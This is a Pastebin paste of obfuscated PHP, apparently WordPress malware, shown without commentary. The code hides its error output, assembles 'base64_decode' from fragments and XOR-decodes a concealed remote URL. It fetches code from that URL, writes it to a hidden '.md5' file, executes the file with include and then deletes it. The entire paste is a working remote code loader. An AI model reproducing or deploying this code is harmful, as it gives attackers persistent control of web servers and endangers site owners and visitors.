Guest User

Untitled

a guest
Dec 10th, 2019
110
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @ini_set('display_errors', '0');
  2. error_reporting(0);
  3. $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'md5';
  4. $pass = "Zgc5c4MXrLUscwQO6M8bPPGCf1TVMvlanyHMAanN";
  5. if (ini_get('allow_url_fopen')) {
  6. function get_data_ya($url) {
  7. $data = file_get_contents($url);
  8. return $data;
  9. }
  10. }
  11. else {
  12. function get_data_ya($url) {
  13. $ch = curl_init();
  14. curl_setopt($ch, CURLOPT_HEADER, 0);
  15. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  16. curl_setopt($ch, CURLOPT_URL, $url);
  17. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
  18. $data = curl_exec($ch);
  19. curl_close($ch);
  20. return $data;
  21. }
  22. }
  23. function wp_cd($fd, $fa="")
  24. {
  25. $fe = "wp_frmfunct";
  26. $len = strlen($fd);
  27. $ff = '';
  28. $n = $len>100 ? 8 : 2;
  29. while( strlen($ff)<$len )
  30. {
  31. $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
  32. }
  33. return $fd^$ff;
  34. }
  35. $reqw = $ay($ao($oa("$pass"), 'wp_function'));
  36. preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
  37. $dirs = glob("*", GLOB_ONLYDIR);
  38. foreach ($dirs as $dira) {
  39. if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
  40. $subdirs = glob("$dira/*", GLOB_ONLYDIR);
  41. foreach ($subdirs as $subdira) {
  42. if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
  43. }
  44. }
  45. if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
  46. fwrite($hdl, "<?php\n$mtchs[1]\n?>");
  47. fclose($hdl);
  48. include("{$eb}.$algo");
  49. unlink("{$eb}.$algo");
RAW Paste Data